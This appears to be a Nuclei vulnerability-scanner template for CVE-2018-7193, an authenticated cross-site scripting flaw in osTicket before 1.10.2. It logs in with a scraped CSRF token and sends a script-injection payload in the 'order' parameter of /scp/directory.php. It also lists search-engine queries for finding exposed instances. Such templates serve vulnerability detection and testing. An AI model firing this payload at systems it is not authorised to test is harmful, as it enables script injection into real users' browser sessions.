CVE-2018-7193: osTicket < 1.10.2 - Cross-Site Scripting

id: CVE-2018-7193

info:
  name: osTicket < 1.10.2 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    Cross-site scripting (XSS) vulnerability in /scp/directory.php in Enhancesoft osTicket before 1.10.2 allows remote attackers to inject arbitrary web script or HTML via the "order" parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft or unauthorized actions.
  remediation: |
    Upgrade osTicket to later version to mitigate this vulnerability.
  reference:
    - https://blog.securityevaluators.com/vulnerabilities-found-in-popular-ticketing-system-dd273bda229c
    - https://nvd.nist.gov/vuln/detail/CVE-2018-7193
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2018-7193
    cwe-id: CWE-79
    epss-score: 0.0013
    epss-percentile: 0.33386
    cpe: cpe:2.3:a:osticket:osticket:*:*:*:*:*:*:*:*
  metadata:
    max-request: 3
    vendor: osticket
    product: osticket
    shodan-query: title:"osTicket"
    fofa-query: title="osticket"
    google-query: intitle:"osticket"
  tags: cve,cve2018,osticket,xss,authenticated

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /scp/login.php HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(tolower(body), "osticket")'
        internal: true

    extractors:
      - type: regex
        name: csrftoken
        part: body
        group: 1
        regex:
          - '__CSRFToken__" value="(.*?)"'
        internal: true

  - raw:
      - |
        POST /scp/login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        __CSRFToken__={{csrftoken}}&do=scplogin&userid={{username}}&passwd={{password}}&ajax=1

      - |
        GET /scp/directory.php?&&order="><script>alert(document.domain);</script>&sort=dept HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "\"><script>alert(document.domain);</script>")'
          - 'contains(header, "text/html")'
          - 'status_code == 200'
        condition: and
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